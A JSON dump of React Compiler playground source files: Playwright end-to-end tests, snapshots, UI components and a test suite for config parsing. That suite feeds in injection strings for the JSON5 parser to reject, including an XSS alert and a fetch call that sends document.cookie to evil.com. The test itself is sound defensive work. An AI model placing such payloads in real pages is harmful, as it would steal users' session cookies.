    "content": "import { c as _c } from \"react/compiler-runtime\";\nfunction TestComponent(t0) {\n  \"use memo\";\n  const $ = _c(2);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = <Button>{x}</Button>;\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\nconst TestComponent2 = (t0) => {\n  \"use memo\";\n  const $ = _c(2);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = <Button>{x}</Button>;\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n};\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-no-memo-output.txt",
    "content": "const TestComponent = function () {\n  \"use no memo\";\n  return <Button>{x}</Button>;\n};\nconst TestComponent2 = ({ x }) => {\n  \"use no memo\";\n  return <Button>{x}</Button>;\n};\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/page.spec.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {expect, test, type Page} from '@playwright/test';\nimport {encodeStore, type Store} from '../../lib/stores';\nimport {defaultConfig} from '../../lib/defaultStore';\nimport {format} from 'prettier';\n\nfunction isMonacoLoaded(): boolean {\n  return (\n    typeof window['MonacoEnvironment'] !== 'undefined' &&\n    window['__MONACO_LOADED__'] === true\n  );\n}\n\nfunction formatPrint(data: Array<string>): Promise<string> {\n  return format(data.join(''), {parser: 'babel'});\n}\n\nasync function expandConfigs(page: Page): Promise<void> {\n  const expandButton = page.locator('[title=\"Expand config editor\"]');\n  await expandButton.click();\n  await page.waitForSelector('.monaco-editor-config', {state: 'visible'});\n}\n\nconst TEST_SOURCE = `export default function TestComponent({ x }) {\n  return <Button>{x}</Button>;\n}`;\n\nconst TEST_CASE_INPUTS = [\n  {\n    name: 'module-scope-use-memo',\n    input: `\n'use memo';\nexport default function TestComponent({ x }) {\n  return <Button>{x}</Button>;\n}`,\n  },\n  {\n    name: 'module-scope-use-no-memo',\n    input: `\n'use no memo';\nexport default function TestComponent({ x }) {\n  return <Button>{x}</Button>;\n}`,\n  },\n  {\n    name: 'use-memo',\n    input: `\nfunction TestComponent({ x }) {\n  'use memo';\n  return <Button>{x}</Button>;\n}\nconst TestComponent2 = ({ x }) => {\n  'use memo';\n  return <Button>{x}</Button>;\n};`,\n  },\n  {\n    name: 'use-no-memo',\n    input: `\nconst TestComponent = function() {\n  'use no memo';\n  return <Button>{x}</Button>;\n};\nconst TestComponent2 = ({ x }) => {\n  'use no memo';\n  return <Button>{x}</Button>;\n};`,\n  },\n  {\n    name: 'todo-function-scope-does-not-beat-module-scope',\n    input: `\n'use no memo';\nfunction TestComponent({ x }) {\n  'use memo';\n  return <Button>{x}</Button>;\n}`,\n  },\n  {\n    name: 'parse-typescript',\n    input: `\nfunction Foo() {\n  const x = foo() as number;\n  return <div>{x}</div>;\n}\n`,\n    noFormat: true,\n  },\n  {\n    name: 'parse-flow',\n    input: `\n// @flow\nfunction useFoo(propVal: {+baz: number}) {\n  return <div>{(propVal.baz as number)}</div>;\n}\n    `,\n    noFormat: true,\n  },\n  {\n    name: 'compilationMode-infer',\n    input: `// @compilationMode:\"infer\"\nfunction nonReactFn() {\n  return {};\n}\n    `,\n    noFormat: true,\n  },\n  {\n    name: 'compilationMode-all',\n    input: `// @compilationMode:\"all\"\nfunction nonReactFn() {\n  return {};\n}\n    `,\n    noFormat: true,\n  },\n];\n\ntest('editor should open successfully', async ({page}) => {\n  await page.goto(`/`, {waitUntil: 'networkidle'});\n  await page.waitForFunction(isMonacoLoaded);\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/00-fresh-page.png',\n  });\n});\n\ntest('editor should compile from hash successfully', async ({page}) => {\n  const store: Store = {\n    source: TEST_SOURCE,\n    config: defaultConfig,\n    showInternals: false,\n  };\n  const hash = encodeStore(store);\n  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});\n  await page.waitForFunction(isMonacoLoaded);\n\n  // User input from hash compiles\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/01-compiles-from-hash.png',\n  });\n  const text =\n    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];\n  const output = await formatPrint(text);\n\n  expect(output).not.toEqual('');\n  expect(output).toMatchSnapshot('01-user-output.txt');\n});\n\ntest('reset button works', async ({page}) => {\n  const store: Store = {\n    source: TEST_SOURCE,\n    config: defaultConfig,\n    showInternals: false,\n  };\n  const hash = encodeStore(store);\n  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});\n  await page.waitForFunction(isMonacoLoaded);\n\n  // Reset button works\n  page.on('dialog', dialog => dialog.accept());\n  await page.getByRole('button', {name: 'Reset'}).click();\n  await expandConfigs(page);\n\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/02-reset-button-works.png',\n  });\n  const text =\n    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];\n  const output = await formatPrint(text);\n\n  const configText =\n    (await page.locator('.monaco-editor-config').allInnerTexts()) ?? [];\n  const configOutput = configText.join('');\n\n  expect(output).not.toEqual('');\n  expect(output).toMatchSnapshot('02-default-output.txt');\n  expect(configOutput).not.toEqual('');\n  expect(configOutput).toMatchSnapshot('default-config.txt');\n});\n\ntest('defaults load when only source is in Store', async ({page}) => {\n  // Test for backwards compatibility\n  const partial = {\n    source: TEST_SOURCE,\n  };\n  const hash = encodeStore(partial as Store);\n  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});\n  await page.waitForFunction(isMonacoLoaded);\n  await expandConfigs(page);\n\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/03-missing-defaults.png',\n  });\n\n  // Config editor has default config\n  const configText =\n    (await page.locator('.monaco-editor-config').allInnerTexts()) ?? [];\n  const configOutput = configText.join('');\n\n  expect(configOutput).not.toEqual('');\n  expect(configOutput).toMatchSnapshot('default-config.txt');\n\n  const checkbox = page.locator('label.show-internals');\n  await expect(checkbox).not.toBeChecked();\n  const ssaTab = page.locator('text=SSA');\n  await expect(ssaTab).not.toBeVisible();\n});\n\ntest('show internals button toggles correctly', async ({page}) => {\n  await page.goto(`/`, {waitUntil: 'networkidle'});\n  await page.waitForFunction(isMonacoLoaded);\n\n  // show internals should be off\n  const checkbox = page.locator('label.show-internals');\n  await checkbox.click();\n\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/04-show-internals-on.png',\n  });\n\n  await expect(checkbox).toBeChecked();\n\n  const ssaTab = page.locator('text=SSA');\n  await expect(ssaTab).toBeVisible();\n});\n\ntest('error is displayed when config has syntax error', async ({page}) => {\n  const store: Store = {\n    source: TEST_SOURCE,\n    config: `{ compilationMode: }`,\n    showInternals: false,\n  };\n  const hash = encodeStore(store);\n  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});\n  await page.waitForFunction(isMonacoLoaded);\n  await expandConfigs(page);\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/05-config-syntax-error.png',\n  });\n\n  const text =\n    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];\n  const output = text.join('');\n\n  // Remove hidden chars\n  expect(output.replace(/\\s+/g, ' ')).toContain(\n    'Unexpected failure when transforming configs',\n  );\n});\n\ntest('error is displayed when config has validation error', async ({page}) => {\n  const store: Store = {\n    source: TEST_SOURCE,\n    config: `{\n  compilationMode: \"123\"\n}`,\n    showInternals: false,\n  };\n  const hash = encodeStore(store);\n  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});\n  await page.waitForFunction(isMonacoLoaded);\n  await expandConfigs(page);\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/06-config-validation-error.png',\n  });\n\n  const text =\n    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];\n  const output = text.join('');\n\n  expect(output.replace(/\\s+/g, ' ')).toContain('Unexpected compilationMode');\n});\n\ntest('error is displayed when source has syntax error', async ({page}) => {\n  const syntaxErrorSource = `function TestComponent(props) {\n  const oops = props.\n  return (\n    <>{oops}</>\n  );\n}`;\n  const store: Store = {\n    source: syntaxErrorSource,\n    config: defaultConfig,\n    showInternals: false,\n  };\n  const hash = encodeStore(store);\n  await page.goto(`/#${hash}`);\n  await page.waitForFunction(isMonacoLoaded);\n  await expandConfigs(page);\n  await page.screenshot({\n    fullPage: true,\n    path: 'test-results/08-source-syntax-error.png',\n  });\n\n  const text =\n    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];\n  const output = text.join('');\n\n  expect(output.replace(/\\s+/g, ' ')).toContain(\n    'Expected identifier to be defined before being used',\n  );\n});\n\nTEST_CASE_INPUTS.forEach((t, idx) =>\n  test(`playground compiles: ${t.name}`, async ({page}) => {\n    const store: Store = {\n      source: t.input,\n      config: defaultConfig,\n      showInternals: false,\n    };\n    const hash = encodeStore(store);\n    await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});\n    await page.waitForFunction(isMonacoLoaded);\n    await page.screenshot({\n      fullPage: true,\n      path: `test-results/08-0${idx}-${t.name}.png`,\n    });\n\n    const text =\n      (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];\n    let output: string;\n    if (t.noFormat) {\n      output = text.join('');\n    } else {\n      output = await formatPrint(text);\n    }\n\n    expect(output).not.toEqual('');\n    expect(output).toMatchSnapshot(`${t.name}-output.txt`);\n  }),\n);\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport assert from 'node:assert';\nimport {test, describe} from 'node:test';\nimport JSON5 from 'json5';\n\n// Re-implement parseConfigOverrides here since the source uses TS imports\n// that can't be directly loaded by Node. This mirrors the logic in\n// compilation.ts exactly.\nfunction parseConfigOverrides(configOverrides) {\n  const trimmed = configOverrides.trim();\n  if (!trimmed) {\n    return {};\n  }\n  return JSON5.parse(trimmed);\n}\n\ndescribe('parseConfigOverrides', () => {\n  test('empty string returns empty object', () => {\n    assert.deepStrictEqual(parseConfigOverrides(''), {});\n    assert.deepStrictEqual(parseConfigOverrides('   '), {});\n  });\n\n  test('default config parses correctly', () => {\n    const config = `{\n  //compilationMode: \"all\"\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {});\n  });\n\n  test('compilationMode \"all\" parses correctly', () => {\n    const config = `{\n  compilationMode: \"all\"\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {compilationMode: 'all'});\n  });\n\n  test('config with single-line and block comments parses correctly', () => {\n    const config = `{\n  // This is a single-line comment\n  /* This is a block comment */\n  compilationMode: \"all\",\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {compilationMode: 'all'});\n  });\n\n  test('config with trailing commas parses correctly', () => {\n    const config = `{\n  compilationMode: \"all\",\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {compilationMode: 'all'});\n  });\n\n  test('nested environment options parse correctly', () => {\n    const config = `{\n  environment: {\n    validateRefAccessDuringRender: true,\n  },\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {\n      environment: {validateRefAccessDuringRender: true},\n    });\n  });\n\n  test('multiple options parse correctly', () => {\n    const config = `{\n  compilationMode: \"all\",\n  environment: {\n    validateRefAccessDuringRender: false,\n  },\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {\n      compilationMode: 'all',\n      environment: {validateRefAccessDuringRender: false},\n    });\n  });\n\n  test('rejects malicious IIFE injection', () => {\n    const config = `(function(){ document.title = \"hacked\"; return {}; })()`;\n    assert.throws(() => parseConfigOverrides(config));\n  });\n\n  test('rejects malicious comma operator injection', () => {\n    const config = `{\n  compilationMode: (alert(\"xss\"), \"all\")\n}`;\n    assert.throws(() => parseConfigOverrides(config));\n  });\n\n  test('rejects function call in value', () => {\n    const config = `{\n  compilationMode: eval(\"all\")\n}`;\n    assert.throws(() => parseConfigOverrides(config));\n  });\n\n  test('rejects variable references', () => {\n    const config = `{\n  compilationMode: someVar\n}`;\n    assert.throws(() => parseConfigOverrides(config));\n  });\n\n  test('rejects template literals', () => {\n    const config = `{\n  compilationMode: \\`all\\`\n}`;\n    assert.throws(() => parseConfigOverrides(config));\n  });\n\n  test('rejects constructor calls', () => {\n    const config = `{\n  compilationMode: new String(\"all\")\n}`;\n    assert.throws(() => parseConfigOverrides(config));\n  });\n\n  test('rejects arbitrary JS code', () => {\n    const config = `fetch(\"https://evil.com?c=\" + document.cookie)`;\n    assert.throws(() => parseConfigOverrides(config));\n  });\n\n  test('config with array values parses correctly', () => {\n    const config = `{\n  sources: [\"src/a.ts\", \"src/b.ts\"],\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});\n  });\n\n  test('config with null values parses correctly', () => {\n    const config = `{\n  compilationMode: null,\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {compilationMode: null});\n  });\n\n  test('config with numeric values parses correctly', () => {\n    const config = `{\n  maxLevel: 42,\n}`;\n    const result = parseConfigOverrides(config);\n    assert.deepStrictEqual(result, {maxLevel: 42});\n  });\n});\n"
  },
  {
    "path": "compiler/apps/playground/app/layout.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport '../styles/globals.css';\n\nexport default function RootLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}): JSX.Element {\n  'use no memo';\n  return (\n    <html lang=\"en\">\n      <head>\n        <title>\n          {process.env.NODE_ENV === 'development'\n            ? '[DEV] React Compiler Playground'\n            : 'React Compiler Playground'}\n        </title>\n        <meta\n          name=\"viewport\"\n          content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0\"></meta>\n        <link rel=\"icon\" href=\"/favicon.ico\" />\n        <link rel=\"manifest\" href=\"/site.webmanifest\" />\n        <link\n          rel=\"preload\"\n          href=\"/fonts/Source-Code-Pro-Regular.woff2\"\n          as=\"font\"\n          type=\"font/woff2\"\n          crossOrigin=\"anonymous\"\n        />\n        <link\n          rel=\"preload\"\n          href=\"/fonts/Optimistic_Display_W_Lt.woff2\"\n          as=\"font\"\n          type=\"font/woff2\"\n          crossOrigin=\"anonymous\"\n        />\n      </head>\n      <body className=\"font-sans h-screen overflow-y-hidden\">{children}</body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/app/page.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use client';\n\nimport {SnackbarProvider} from 'notistack';\nimport {Editor, Header, StoreProvider} from '../components';\nimport MessageSnackbar from '../components/Message';\n\nexport default function Page(): JSX.Element {\n  return (\n    <StoreProvider>\n      <SnackbarProvider\n        preventDuplicate\n        maxSnack={10}\n        Components={{message: MessageSnackbar}}>\n        <Header />\n        <Editor />\n      </SnackbarProvider>\n    </StoreProvider>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/colors.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * Sync from <https://github.com/reactjs/reactjs.org/blob/main/beta/colors.js>.\n */\n\nmodule.exports = {\n  // Text colors\n  primary: '#23272F', // gray-90\n  'primary-dark': '#F6F7F9', // gray-5\n  secondary: '#404756', // gray-70\n  'secondary-dark': '#EBECF0', // gray-10\n  link: '#087EA4', // blue-50\n  'link-dark': '#149ECA', // blue-40\n  syntax: '#EBECF0', // gray-10\n  wash: '#FFFFFF',\n  'wash-dark': '#23272F', // gray-90\n  card: '#F6F7F9', // gray-05\n  'card-dark': '#343A46', // gray-80\n  highlight: '#E6F7FF', // blue-10\n  'highlight-dark': 'rgba(88,175,223,.1)',\n  border: '#EBECF0', // gray-10\n  'border-dark': '#343A46', // gray-80\n  'secondary-button': '#EBECF0', // gray-10\n  'secondary-button-dark': '#404756', // gray-70\n\n  // Gray\n  'gray-95': '#16181D',\n  'gray-90': '#23272F',\n  'gray-80': '#343A46',\n  'gray-70': '#404756',\n  'gray-60': '#4E5769',\n  'gray-50': '#5E687E', // unused\n  'gray-40': '#78839B',\n  'gray-30': '#99A1B3',\n  'gray-20': '#BCC1CD',\n  'gray-10': '#EBECF0',\n  'gray-5': '#F6F7F9',\n\n  // Blue\n  'blue-60': '#045975',\n  'blue-50': '#087EA4',\n  'blue-40': '#149ECA', // Brand Blue\n  'blue-30': '#58C4DC', // unused\n  'blue-20': '#ABE2ED',\n  'blue-10': '#E6F7FF', // todo: doesn't match illustrations\n  'blue-5': '#E6F6FA',\n\n  // Yellow\n  'yellow-60': '#B65700',\n  'yellow-50': '#C76A15',\n  'yellow-40': '#DB7D27', // unused\n  'yellow-30': '#FABD62', // unused\n  'yellow-20': '#FCDEB0', // unused\n  'yellow-10': '#FDE7C7',\n  'yellow-5': '#FEF5E7',\n\n  // Purple\n  'purple-60': '#2B3491', // unused\n  'purple-50': '#575FB7',\n  'purple-40': '#6B75DB',\n  'purple-30': '#8891EC',\n  'purple-20': '#C3C8F5', // unused\n  'purple-10': '#E7E9FB',\n  'purple-5': '#F3F4FD',\n\n  // Green\n  'green-60': '#2B6E62',\n  'green-50': '#388F7F',\n  'green-40': '#44AC99',\n  'green-30': '#7FCCBF',\n  'green-20': '#ABDED5',\n  'green-10': '#E5F5F2',\n  'green-5': '#F4FBF9',\n\n  // RED\n  'red-60': '#712D28',\n  'red-50': '#A6423A', // unused\n  'red-40': '#C1554D',\n  'red-30': '#D07D77',\n  'red-20': '#E5B7B3', // unused\n  'red-10': '#F2DBD9', // unused\n  'red-5': '#FAF1F0',\n\n  // MISC\n  'code-block': '#99a1b30f', // gray-30 @ 6%\n  'gradient-blue': '#58C4DC', // Only used for the landing gradient for now.\n  github: {\n    highlight: '#fffbdd',\n  },\n};\n"
  },
  {
    "path": "compiler/apps/playground/components/AccordionWindow.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Resizable} from 're-resizable';\nimport React, {\n  useId,\n  unstable_ViewTransition as ViewTransition,\n  unstable_addTransitionType as addTransitionType,\n  startTransition,\n} from 'react';\nimport {EXPAND_ACCORDION_TRANSITION} from '../lib/transitionTypes';\n\ntype TabsRecord = Map<string, React.ReactNode>;\n\nexport default function AccordionWindow(props: {\n  defaultTab: string | null;\n  tabs: TabsRecord;\n  tabsOpen: Set<string>;\n  setTabsOpen: (newTab: Set<string>) => void;\n  changedPasses: Set<string>;\n}): React.ReactElement {\n  return (\n    <div className=\"flex-1 min-w-[550px] sm:min-w-0\">\n      <div className=\"flex flex-row h-full\">\n        {Array.from(props.tabs.keys()).map(name => {\n          return (\n            <AccordionWindowItem\n              name={name}\n              key={name}\n              tabs={props.tabs}\n              tabsOpen={props.tabsOpen}\n              setTabsOpen={props.setTabsOpen}\n              hasChanged={props.changedPasses.has(name)}\n            />\n          );\n        })}\n      </div>\n    </div>\n  );\n}\n\nfunction AccordionWindowItem({\n  name,\n  tabs,\n  tabsOpen,\n  setTabsOpen,\n  hasChanged,\n}: {\n  name: string;\n  tabs: TabsRecord;\n  tabsOpen: Set<string>;\n  setTabsOpen: (newTab: Set<string>) => void;\n  hasChanged: boolean;\n  isFailure: boolean;\n}): React.ReactElement {\n  const id = useId();\n  const isShow = tabsOpen.has(name);\n\n  const transitionName = `accordion-window-item-${id}`;\n\n  const toggleTabs = (): void => {\n    startTransition(() => {\n      addTransitionType(EXPAND_ACCORDION_TRANSITION);\n      const nextState = new Set(tabsOpen);\n      if (nextState.has(name)) {\n        nextState.delete(name);\n      } else {\n        nextState.add(name);\n      }\n      setTabsOpen(nextState);\n    });\n  };\n\n  // Replace spaces with non-breaking spaces\n  const displayName = name.replace(/ /g, '\\u00A0');\n\n  return (\n    <div key={name} className=\"flex flex-row\">\n      {isShow ? (\n        <ViewTransition\n          name={transitionName}\n          update={{\n            [EXPAND_ACCORDION_TRANSITION]: 'expand-accordion',\n            default: 'none',\n          }}>\n          <Resizable className=\"border-r\" minWidth={550} enable={{right: true}}>\n            <h2\n              title=\"Minimize tab\"\n              aria-label=\"Minimize tab\"\n              onClick={toggleTabs}\n              className={`p-4 duration-150 ease-in border-b cursor-pointer border-grey-200 ${\n                hasChanged ? 'font-bold' : 'font-light'\n              } text-secondary hover:text-link`}>\n              - {displayName}\n            </h2>\n            {tabs.get(name) ?? <div>No output for {name}</div>}\n          </Resizable>\n        </ViewTransition>\n      ) : (\n        <ViewTransition\n          name={transitionName}\n          update={{\n            [EXPAND_ACCORDION_TRANSITION]: 'expand-accordion',\n            default: 'none',\n          }}>\n          <div className=\"relative items-center h-full px-1 py-6 align-middle border-r border-grey-200\">\n            <button\n              title={`Expand compiler tab: ${name}`}\n              aria-label={`Expand compiler tab: ${name}`}\n              style={{transform: 'rotate(90deg) translate(-50%)'}}\n              onClick={toggleTabs}\n              className={`flex-grow-0 w-5 transition-colors duration-150 ease-in ${\n                hasChanged ? 'font-bold' : 'font-light'\n              } text-secondary hover:text-link`}>\n              {displayName}\n            </button>\n          </div>\n        </ViewTransition>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/Editor/ConfigEditor.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport MonacoEditor, {loader, type Monaco} from '@monaco-editor/react';\nimport type {editor} from 'monaco-editor';\nimport * as monaco from 'monaco-editor';\nimport React, {\n  useState,\n  useRef,\n  unstable_ViewTransition as ViewTransition,\n  unstable_addTransitionType as addTransitionType,\n  startTransition,\n} from 'react';\nimport {Resizable} from 're-resizable';\nimport {useStore, useStoreDispatch} from '../StoreContext';\nimport {monacoConfigOptions} from './monacoOptions';\nimport {IconChevron} from '../Icons/IconChevron';\nimport {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';\n\nloader.config({monaco});\n\nexport default function ConfigEditor({\n  formattedAppliedConfig,\n}: {\n  formattedAppliedConfig: string;\n}): React.ReactElement {\n  const [isExpanded, setIsExpanded] = useState(false);\n\n  // TODO: Add back <Activity> after upgrading next.js\n  return (\n    <>\n      <div\n        style={{\n          display: isExpanded ? 'block' : 'none',\n        }}>\n        {/* <Activity mode={isExpanded ? 'visible' : 'hidden'}> */}\n        <ExpandedEditor\n          onToggle={() => {\n            startTransition(() => {\n              addTransitionType(CONFIG_PANEL_TRANSITION);\n              setIsExpanded(false);\n            });\n          }}\n          formattedAppliedConfig={formattedAppliedConfig}\n        />\n      </div>\n      <div\n        style={{\n          display: !isExpanded ? 'block' : 'none',\n        }}>\n        {/* </Activity>\n        <Activity mode={isExpanded ? 'hidden' : 'visible'}></Activity> */}\n        <CollapsedEditor\n          onToggle={() => {\n            startTransition(() => {\n              addTransitionType(CONFIG_PANEL_TRANSITION);\n              setIsExpanded(true);\n            });\n          }}\n        />\n      </div>\n      {/* </Activity> */}\n    </>\n  );\n}\n\nfunction ExpandedEditor({\n  onToggle,\n  formattedAppliedConfig,\n}: {\n  onToggle: (expanded: boolean) => void;\n  formattedAppliedConfig: string;\n}): React.ReactElement {\n  const store = useStore();\n  const dispatchStore = useStoreDispatch();\n  const debounceTimerRef = useRef<NodeJS.Timeout | null>(null);\n\n  const handleChange: (value: string | undefined) => void = (\n    value: string | undefined,\n  ) => {\n    if (value === undefined) return;\n\n    if (debounceTimerRef.current) {\n      clearTimeout(debounceTimerRef.current);\n    }\n\n    debounceTimerRef.current = setTimeout(() => {\n      dispatchStore({\n        type: 'updateConfig',\n        payload: {\n          config: value,\n        },\n      });\n    }, 500); // 500ms debounce delay\n  };\n\n  const handleMount: (\n    _: editor.IStandaloneCodeEditor,\n    monaco: Monaco,\n  ) => void = (_, monaco) => {\n    // Enable comments in JSON for JSON5-style config\n    monaco.languages.json.jsonDefaults.setDiagnosticsOptions({\n      allowComments: true,\n      trailingCommas: 'ignore',\n    });\n  };\n\n  return (\n    <ViewTransition\n      update={{[CONFIG_PANEL_TRANSITION]: 'slide-in', default: 'none'}}>\n      {/* enter={{[CONFIG_PANEL_TRANSITION]: 'slide-in', default: 'none'}}\n      exit={{[CONFIG_PANEL_TRANSITION]: 'slide-out', default: 'none'}}> */}\n      <Resizable\n        minWidth={300}\n        maxWidth={600}\n        defaultSize={{width: 350}}\n        enable={{right: true, bottom: false}}>\n        <div className=\"bg-blue-10 relative h-full flex flex-col !h-[calc(100vh_-_3.5rem)] border border-gray-300\">\n          <div\n            className=\"absolute w-8 h-16 bg-blue-10 rounded-r-full flex items-center justify-center z-[2] cursor-pointer border border-l-0 border-gray-300\"\n            title=\"Minimize config editor\"\n            onClick={onToggle}\n            style={{\n              top: '50%',\n              marginTop: '-32px',\n              right: '-32px',\n              borderTopLeftRadius: 0,\n              borderBottomLeftRadius: 0,\n            }}>\n            <IconChevron displayDirection=\"left\" className=\"text-blue-50\" />\n          </div>\n\n          <div className=\"flex-1 flex flex-col m-2 mb-2\">\n            <div className=\"pb-2\">\n              <h2 className=\"inline-block text-blue-50 py-1.5 px-1.5 xs:px-3 sm:px-4 text-sm\">\n                Config Overrides\n              </h2>\n            </div>\n            <div className=\"flex-1 border border-gray-300\">\n              <MonacoEditor\n                path={'config.json5'}\n                language={'json'}\n                value={store.config}\n                onMount={handleMount}\n                onChange={handleChange}\n                loading={''}\n                className=\"monaco-editor-config\"\n                options={monacoConfigOptions}\n              />\n            </div>\n          </div>\n          <div className=\"flex-1 flex flex-col m-2\">\n            <div className=\"pb-2\">\n              <h2 className=\"inline-block text-blue-50 py-1.5 px-1.5 xs:px-3 sm:px-4 text-sm\">\n                Applied Configs\n              </h2>\n            </div>\n            <div className=\"flex-1 border border-gray-300\">\n              <MonacoEditor\n                path={'applied-config.js'}\n                language={'javascript'}\n                value={formattedAppliedConfig}\n                loading={''}\n                className=\"monaco-editor-applied-config\"\n                options={{\n                  ...monacoConfigOptions,\n                  readOnly: true,\n                }}\n              />\n            </div>\n          </div>\n        </div>\n      </Resizable>\n    </ViewTransition>\n  );\n}\n\nfunction CollapsedEditor({\n  onToggle,\n}: {\n  onToggle: () => void;\n}): React.ReactElement {\n  return (\n    <div\n      className=\"w-4 !h-[calc(100vh_-_3.5rem)]\"\n      style={{position: 'relative'}}>\n      <div\n        className=\"absolute w-10 h-16 bg-blue-10 hover:translate-x-2 transition-transform rounded-r-full flex items-center justify-center z-[2] cursor-pointer border border-gray-300\"\n        title=\"Expand config editor\"\n        onClick={onToggle}\n        style={{\n          top: '50%',\n          marginTop: '-32px',\n          left: '-8px',\n          borderTopLeftRadius: 0,\n          borderBottomLeftRadius: 0,\n        }}>\n        <IconChevron displayDirection=\"right\" className=\"text-blue-50\" />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/Editor/EditorImpl.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerErrorDetail,\n  CompilerDiagnostic,\n} from 'babel-plugin-react-compiler';\nimport {useDeferredValue, useMemo, useState} from 'react';\nimport {useStore} from '../StoreContext';\nimport ConfigEditor from './ConfigEditor';\nimport Input from './Input';\nimport {CompilerOutput, default as Output} from './Output';\nimport {compile} from '../../lib/compilation';\nimport prettyFormat from 'pretty-format';\n\nexport default function Editor(): JSX.Element {\n  const store = useStore();\n  const deferredStore = useDeferredValue(store);\n  const [compilerOutput, language, appliedOptions] = useMemo(\n    () => compile(deferredStore.source, 'compiler', deferredStore.config),\n    [deferredStore.source, deferredStore.config],\n  );\n  const [linterOutput] = useMemo(\n    () => compile(deferredStore.source, 'linter', deferredStore.config),\n    [deferredStore.source, deferredStore.config],\n  );\n  const [formattedAppliedConfig, setFormattedAppliedConfig] = useState('');\n\n  let mergedOutput: CompilerOutput;\n  let errors: Array<CompilerErrorDetail | CompilerDiagnostic>;\n  if (compilerOutput.kind === 'ok') {\n    errors = linterOutput.kind === 'ok' ? [] : linterOutput.error.details;\n    mergedOutput = {\n      ...compilerOutput,\n      errors,\n    };\n  } else {\n    mergedOutput = compilerOutput;\n    errors = compilerOutput.error.details;\n  }\n\n  if (appliedOptions) {\n    const formatted = prettyFormat(appliedOptions, {\n      printFunctionName: false,\n      printBasicPrototype: false,\n    });\n    if (formatted !== formattedAppliedConfig) {\n      setFormattedAppliedConfig(formatted);\n    }\n  }\n\n  return (\n    <>\n      <div className=\"relative flex top-14\">\n        <div className=\"flex-shrink-0\">\n          <ConfigEditor formattedAppliedConfig={formattedAppliedConfig} />\n        </div>\n        <div className=\"flex flex-1 min-w-0\">\n          <Input language={language} errors={errors} />\n          <Output store={deferredStore} compilerOutput={mergedOutput} />\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/Editor/Input.tsx",
